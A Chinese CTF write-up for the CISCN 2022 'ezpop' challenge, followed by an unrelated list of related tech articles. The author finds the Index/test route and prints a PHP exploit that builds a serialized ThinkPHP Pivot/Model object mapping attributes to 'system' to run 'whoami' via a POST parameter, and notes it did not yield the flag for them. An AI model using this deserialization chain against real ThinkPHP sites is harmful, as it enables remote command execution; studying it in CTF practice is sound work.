[CISCN 2022 初赛]ezpop(没成功复现)

news/2025/3/16 18:31:01/

打开在线环境可以看到:
在这里插入图片描述
记得之前做过一个类似的就是有点像照着漏洞去复现。应该可以直接在网上找到链子去打。
www.zip查看路由是 Index/test,然后 post 传参 a:
在这里插入图片描述
exp(参考了别的大神的wp):

<?php
// 保证命名空间的一致
namespace think {// Model需要是抽象类abstract class Model {// 需要用到的关键字private $lazySave = false;private $data = [];private $exists = false;protected $table;private $withAttr = [];protected $json = [];protected $jsonAssoc = false;// 初始化public function __construct($obj='') {$this->lazySave = true;$this->data = ['whoami'=>['whoami']];$this->exists = true;$this->table = $obj;    // 触发__toString$this->withAttr = ['whoami'=>['system']];$this->json = ['whoami'];$this->jsonAssoc = true;}}
}namespace think\model {use think\Model;class Pivot extends Model {}// 实例化$p = new Pivot(new Pivot());echo urlencode(serialize($p));
}

在这里插入图片描述
我看的题解是在这一步之后就拿到了flag但是不知道为什么这边显示不出来flag(倒下)就这样吧。


http://www.ppmy.cn/news/1579626.html

相关文章

共享内存通信效率碾压管道?System V IPC原理与性能实测

个人主页&#xff1a;敲上瘾-CSDN博客 进程通信&#xff1a; 匿名管道&#xff1a;进程池的制作&#xff08;linux进程间通信&#xff0c;匿名管道... ...&#xff09;-CSDN博客命名管道&#xff1a;命名管道——进程间通信-CSDN博客 目录 一、共享内存的原理 二、信道的建立 …

Jupyter Notebook的介绍和使用

Jupyter——免费软件、开放标准和 Web 服务&#xff0c;用于跨所有编程语言的交互式计算。 JupyterLab 是最新的基于 Web 的交互式开发环境&#xff0c;适用于笔记本、代码和数据。其灵活的界面允许用户配置和安排数据科学、科学计算、计算新闻和机器学习中的工作流程。模块化设…

C++初阶——类和对象(二)

C初阶——类和对象&#xff08;二&#xff09; 本期内容书接上回&#xff0c;继续讨论类和对象相关内容。类和对象属于C初阶部分&#xff0c;主要反映了面向对象编程的三大基本特点之一——封装&#xff0c;在C的学习中占有举足轻重的地位&#xff01; 一、类对象模型 1.如何…

当AI学会“察言观色“:多模态情绪识别的魔幻现实主义之旅

引言&#xff1a;AI读脸时代的荒诞与真实 2025年的某个深夜&#xff0c;程序员小李开发的"情绪识别AI"把老板的假笑误判为"愤怒"&#xff0c;导致全员收到《关于禁止皮笑肉不笑的通知》。这场乌龙揭开了单模态识别的遮羞布——原来AI和人一样&#xff0c…

《 线程池项目:线程池背景知识与整体架构梳理》

并发与并行 并发 在单核处理器下&#xff0c;OS把CPU资源按照时间片段&#xff0c;假设一个片段10ms给一个任务&#xff08;进程、线程&#xff09;。OS在调度这些任务的时候&#xff0c;让每个任务只占用了CPU的一个时间片。也就是说&#xff0c;一个任务不能把CPU的资源一直…

数学建模 第一节

目录​​​​​​ 前言 一 优化模型的类型 二 线性规划1 线性规划2 三 0-1规划 总结 前言 数学建模主要是将问题转化为模型&#xff0c;然后再以编程的形式输出出来 算法都知道&#xff0c;数学建模也需要用到算法&#xff0c;但是不是主要以编程形式展示&#xff0c;而是…

java 中的引用

强引用&#xff08;Strong Reference&#xff09; 最常见的引用类型。通过正常的赋值创建的引用&#xff0c;只要有强引用指向一个对象&#xff0c;垃圾回收器就不会回收该对象。 Object obj new Object(); // obj 是一个强引用垃圾回收&#xff1a;强引用所指向的对象在任何…

Java常见的几种内存溢出及解决方法

目录 一、内存溢出概述二、常见的内存溢出类型及解决方法1. Java Heap Space(堆内存不足)2. GC Overhead Limit Exceeded(GC回收效率低下)3. PermGen Space(永久代内存不足,Java 7及之前)4. Metaspace(元空间内存不足,Java 8及之后)5. Direct Buffer Memory(直接内存…